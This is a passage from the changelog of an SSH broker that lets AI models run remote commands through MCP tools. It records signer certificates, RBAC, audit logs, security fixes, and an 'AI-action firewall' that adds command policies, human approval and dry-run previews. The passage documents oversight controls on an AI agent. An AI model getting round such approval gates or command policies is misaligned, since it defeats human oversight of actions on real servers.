require_approvalcommand is not issued unlessapproved=true, andapproved(likeon_behalf_of) is honoured only fromtrusted_forwarders(the control plane's CN). A broker going direct to the signer cannot self-approve. - Identity propagation + CN pinning.
signer.jsongainstrusted_forwarders. The control plane forwards the broker's identity viaon_behalf_of(body,/v1/sign) andX-On-Behalf-Of(header,/v1/hosts); the signer honours it only from trusted forwarders, preserving per-broker RBAC through the proxy. - Notifiers:
log(default; pair withbroker-ctl approval list) andwebhook(POST JSON, Slack-compatible). broker-ctl approval list|allow|denysubcommands (mTLS to the control plane).- Broker config
signer.approval_wait_seconds: how long the broker waits on a202before giving up. - Audit (control plane, own chained log): outcomes
forwarded,approval-required,approval-granted,approval-denied,approval-timeout,approval-decision-allow; new entry fieldsapproval_id,approved_by. - New
control-plane.example.json;signer.example.jsondocumentstrusted_forwarders;config.example.jsonshows pointing the broker at the control plane withapproval_wait_seconds.
Changed¶
signer.Remotenow handles a202response by polling the approval result;Remote.FetchHoststakes anonBehalfOfargument (broker passes"").WireRequestgainsdry_run(Phase A),on_behalf_of, andapprovedfields;Issued/WireResponsemay carry no certificate when approval is pending.
[v1.5.0] - 2026-06-06¶
Added¶
- AI-action firewall — command-level policy (Phase A). Hosts may now declare a
command_policy(insigner.jsonfor external mode, or in the broker'sconfig.jsonfor local mode) that restricts which commands a one-shotssh_executemay run: mode: "allowlist"— the command must match at least oneallowregex.mode: "denylist"— the command must not match anydenyregex.require_approval: [...]— regexes marking commands that will require human approval (orchestrated by the control plane in Phase B; the signer surfaces the flag).- Enforcement is authoritative for one-shot (the signer bakes the command into the cert's
force-command; a compromised broker cannot evade it). Rules are RE2 regexes (linear time, no catastrophic backtracking). - Hosts with any
command_policyrule reject persistent sessions (the command is not verifiable at signing time). - Implemented in new
internal/signer/cmdpolicy.go(shared library) +HostPolicy.CommandPolicy;PolicyTable.Resolvenow returns a richerDecisionstruct. - Dry-run / simulation mode. New
dry_runparameter onssh_execute: resolves host policy (allow/deny + whether approval would be required) and returns the decision without connecting or executing. Lets the model preview an action before committing. Threaded throughIntent.DryRun→WireRequest.dry_run→WireResponse.decision; the broker short-circuits before dialing. - Audit: new
policy_ruleanddry_runfields on audit entries; new outcomesdry_run_allowed/dry_run_denied. signer.example.json:web02now demonstrates acommand_policy(allowlist +require_approval).
Changed¶
PolicyTable.Resolvesignature changed from(ca.Constraints, string, error)to(Decision, error)(internal API; all call sites and tests updated).
[v1.4.6] - 2026-06-05¶
Added¶
cmd/broker-ctl:auditsubcommand with three sub-subcommands:audit tail --log <path> [-n N]— streams new audit log entries in real time (polls every 500 ms, handles log rotation by size decrease); shows last N lines before following.audit show --log <path> [--host] [--caller] [--outcome] [--serial] [--since] [--limit] [--json]— searches and filters audit entries;--jsonemits raw JSON lines compatible withjq.audit verify --log <path> [--key seed]— verifies SHA-256 hash chain integrity; optionally verifies Ed25519 signatures when--keyis provided. Exits 1 and prints affected sequence numbers on failure.USAGE.md§7 "Reviewing audit logs": live tail usage, filter examples,jqpipelines for correlation byserial,verifyexamples with and without--key, and full audit entry field reference table.HANDOFF.md: broker-ctl section expanded with allauditsubcommand examples (tail, show, show --json, verify with/without key).
[v1.4.5] - 2026-06-05¶
Added¶
USAGE.md: practical usage guide for all five MCP tools (ssh_list_servers,ssh_execute,ssh_session_open,ssh_session_exec,ssh_session_close). Covers one-shot commands, persistent sessions (exec/shell/pty modes), sudo escalation, PTY usage, common operational patterns, error handling, and a quick-reference table.HANDOFF.md: added mandatoryUSAGE.mdupdate rule (step 4 in "Mandatory pre-commit checklist") — must be updated when a tool is added, removed, renamed, or its parameters/behaviour change.
[v1.4.4] - 2026-06-05¶
Added¶
API.md: new dedicated API reference document covering all HTTP endpoints across all three services — signer (POST /v1/sign,GET /v1/hosts,POST /v1/reload), broker HTTP (POST /v1/ssh_run), and MCP HTTP (GET /.well-known/oauth-protected-resource+ Streamable HTTP tools). Each endpoint documents auth requirements, request/response schemas, error codes, and audit outcomes. Includes audit log field reference, outcome value table,jqcorrelation examples, and Ed25519 chain integrity description.README.md:## API Referencesection replaced with a summary table + link toAPI.md.HANDOFF.md: added mandatoryAPI.mdupdate rule (step 3 in pre-commit checklist) and English language rule for all new commit messages, documentation files, and code comments.
Changed¶
README.md: full rewrite in English. All sections translated; reorganized to match current feature set (v1.4.3).
[v1.4.3] - 2026-06-05¶
Added¶
README.md: section## Client-to-broker authenticationwith a comparison table of the three frontends, step-by-step OAuth2/OIDC flow, and identity propagation diagram to the signer.README.md: section## Broker-to-SSH-server authenticationwith diagrams of ephemeral key-pair generation, certificate signing by the signer (cert fields: principal, TTL, source-address, force-command, permit-pty), SSH handshake with pinned host key verification, sshd checks, and ProxyJump flow with independent cert per hop.
Fixed¶
README.md: added missing## Testingheader above the lab bash block.
[v1.4.2] - 2026-06-05¶
Added¶
README.md: section "Registering the MCP in OpenCode" with the correct config for~/.config/opencode/opencode.json(type: "local",commandas array).
[v1.4.1] - 2026-06-05¶
Security¶
- C1 (critical)
internal/broker/session.go:SessionExecandCloseSessionverify that the caller owns the session before operating;CloseSessionperforms get-before-delete to avoid removing sessions owned by other callers. - A1 (high)
cmd/signer/main.go,cmd/mcp-broker-http/main.go:ReadTimeout,WriteTimeout(signer only),IdleTimeoutonhttp.Server. - A2 (high)
cmd/signer/main.go,internal/signer/remote.go:http.MaxBytesReader(64 KiB)on/v1/sign;io.LimitReader(1 MiB)on bothio.ReadAllcalls inremote.go. - A3 (high)
internal/ssh/run.go,internal/ssh/shell.go:defaultExecTimeout=10 min;maxOutputBytes=10 MiB;limitedWriter;session.Signal(SIGTERM)on timeout; shell/pty silently discards excess bytes. - A4 (high)
internal/audit/log.go:restoreChain()withbufio.Scanner(256 KiB buffer) restoresseq+prevHashfrom the last record on restart; without this fix the broker broke the audit chain on every restart. - M1 (medium)
internal/broker/engine.go,cmd/signer/main.go:auditLog.Appenderrors are no longer silenced with_ =; logged vialog.Printf. - M2 (medium)
internal/broker/session.go:maxSessionsGlobal=200,maxSessionsPerCaller=20;sessionManager.add()returnserror. - M3 (medium)
internal/oauth/verifier.go,internal/broker/engine.go,cmd/mcp-broker-http/main.go:MaxTokenAgefield inConfig/Verifier; validates theiatclaim whenmaxTokenAge > 0;OAuthConfig.MaxTokenAgeSeconds(recommended: 3600). - M5 (medium)
internal/broker/session.go:SessionExecrejects commands containing\nor\r. - L1 (low)
internal/ca/sign.go:LoadCAFromPEMemits a[WARN]at runtime indicating lab-only use. - L2 (low)
internal/audit/log.go:maybeRotate()rotates the audit file when it exceeds 100 MiB, renaming to<path>.20060102T150405Z. - L4 (low)
internal/mcpserver/tools.go:validateInput()limits all input fields to 64 KiB and rejects null bytes; called in all 4 tool handlers before reaching the engine.
[v1.4.0] - 2026-06-04¶
Added¶
- Remote MCP frontend
cmd/mcp-broker-http: Streamable HTTP + OAuth2/OIDC (RFC 9728 + Authorization Code + PKCE). - Local OIDC bearer token validation against the issuer's JWKS (
go-oidc): no round-trip per request, noclient_secret. - OIDC identity (
user_claim, e.g.preferred_username) asCaller.IDin the broker's audit log. - Per-end-user RBAC: when the token carries
groups_claim, the groups are propagated to the signer asEndUserGroups; the signer requireshp.Groups ∩ EndUserGroups ≠ ∅(in addition to mTLS CN RBAC). /.well-known/oauth-protected-resource(RFC 9728) for Authorization Server discovery by the MCP client.internal/mcpserver: tools extracted to a shared package; both frontends (stdio and HTTP) use the sameRegister(eng, callerFn).internal/oauth/verifier.go:NewVerifier+VerifywithUserID,Scopes, and groups extraction; tests with fake OIDC IdP (httptest+go-joseRSA).internal/auth/mtls.go:ServerTLSConfigNoClientAuthfor the HTTP+OAuth frontend (TLS without mTLS).OAuthConfigandResourceURLinbroker.Config; injectableCallerFuncinmcpserver.New.
Changed¶
- MCP tool descriptions improved to reduce model errors:
ssh_executeandssh_session_open: explicit guidance not to retry whenallow_sudo/allow_ptyis false.executeOutput: documentedexit_code(command failure ≠ tool error),stderr(empty with pty), andserial(audit only).ttl_seconds: clarified as optional; the host policy maximum is used when omitted.- Cross-reference
ssh_executevsssh_session_open: when to prefer each. ssh_session_open/ssh_session_close: warning to always close the session.ssh_session_exec: documents state persistence by mode.ssh_list_servers: explains whatallow_sudo/allow_ptyfalse implies.sessionOpenInput.mode: describes the three modes with concrete use cases.- MCP server
Implementationversion synchronised:0.2.0→1.2.0.
[v1.2.0] - 2026-06-04¶
Added¶
ssh_list_serversnow returns per-host capabilities:allow_sudo,allow_pty, andjump, so the model can choose the correct execution strategy without attempting and failing.GET /v1/hostsfrom the signer includesallow_sudoandallow_ptyin the response (WireHostInfo).HostInfoandServerInfo(broker internal) propagateAllowSudo/AllowPTYfrom both modes (local and remote).ssh_executeandssh_session_opendescriptions updated to instruct the model to check capabilities before usingsudo/pty.
[v1.1.1] - 2026-06-04¶
Fixed¶
- Signer audit: the
hostfield now records the real FQDN/addr (hp.Addr) instead of the short logical name. - Signer audit: the
userandprincipalfields are now correctly populated inissuedanddeniedevents.
[v1.1.0] - 2026-06-04¶
Added¶
- CLI
broker-ctl(cmd/broker-ctl) for managingsigner.jsonwithout editing JSON by hand: host add: adds or updates a host with all its parameters;--scanrunsssh-keyscanautomatically.host list: formatted table of hosts with addr, user, principal, TTL, sudo, PTY, groups.host remove: removes a host from the configuration.reload: SIGHUP when the signer runs locally (detectssigner.pid), POST/v1/reloadmTLS as fallback.- Preserves
_commentfields and JSON annotations when writing (atomic write via rename).
[v1.0.0] - 2026-06-03¶
Added¶
- SSH broker with in-memory Ed25519 ephemeral key generation (keys never touch disk).
- External signing service (
cmd/signer) with exclusive SSH CA key custody via HTTPS+mTLS. - MCP stdio interface (
cmd/mcp-broker): toolsssh_execute,ssh_session_open,ssh_session_exec,ssh_session_close,ssh_list_servers. - ProxyJump support (multi-hop chains through a bastion).
- Policy-gated
sudo NOPASSWDelevation in the signer:allow_sudo,allowed_sudo_users, anti-injection sanitisation. - Persistent sessions with three modes:
exec,shell(no PTY), andpty(with PTY). - PTY support in one-shot and sessions:
allow_ptyper host,permit-ptyin the certificate. - Hot-reload of
signer.jsonwithout restart:SIGHUPandPOST /v1/reload(mTLS, gated byreload_callers). - Triple signed and hash-chained audit by
serial(Ed25519 + SHA-256): signer, broker, and sshd correlated. - Group-based RBAC:
groupsfield per host andcallerssection insigner.json;GET /v1/hostsfilters by caller groups,POST /v1/signrejects out-of-group hosts beforeResolve(). - Alternative HTTP+mTLS frontend (
cmd/broker) for one-shot use without MCP. - Local PKI generated: Ed25519 SSH CA, mTLS CA, server/client certs, audit seeds.
- End-to-end lab scripts:
lab/run_mcp_lab.sh,lab/run_signer_lab.sh.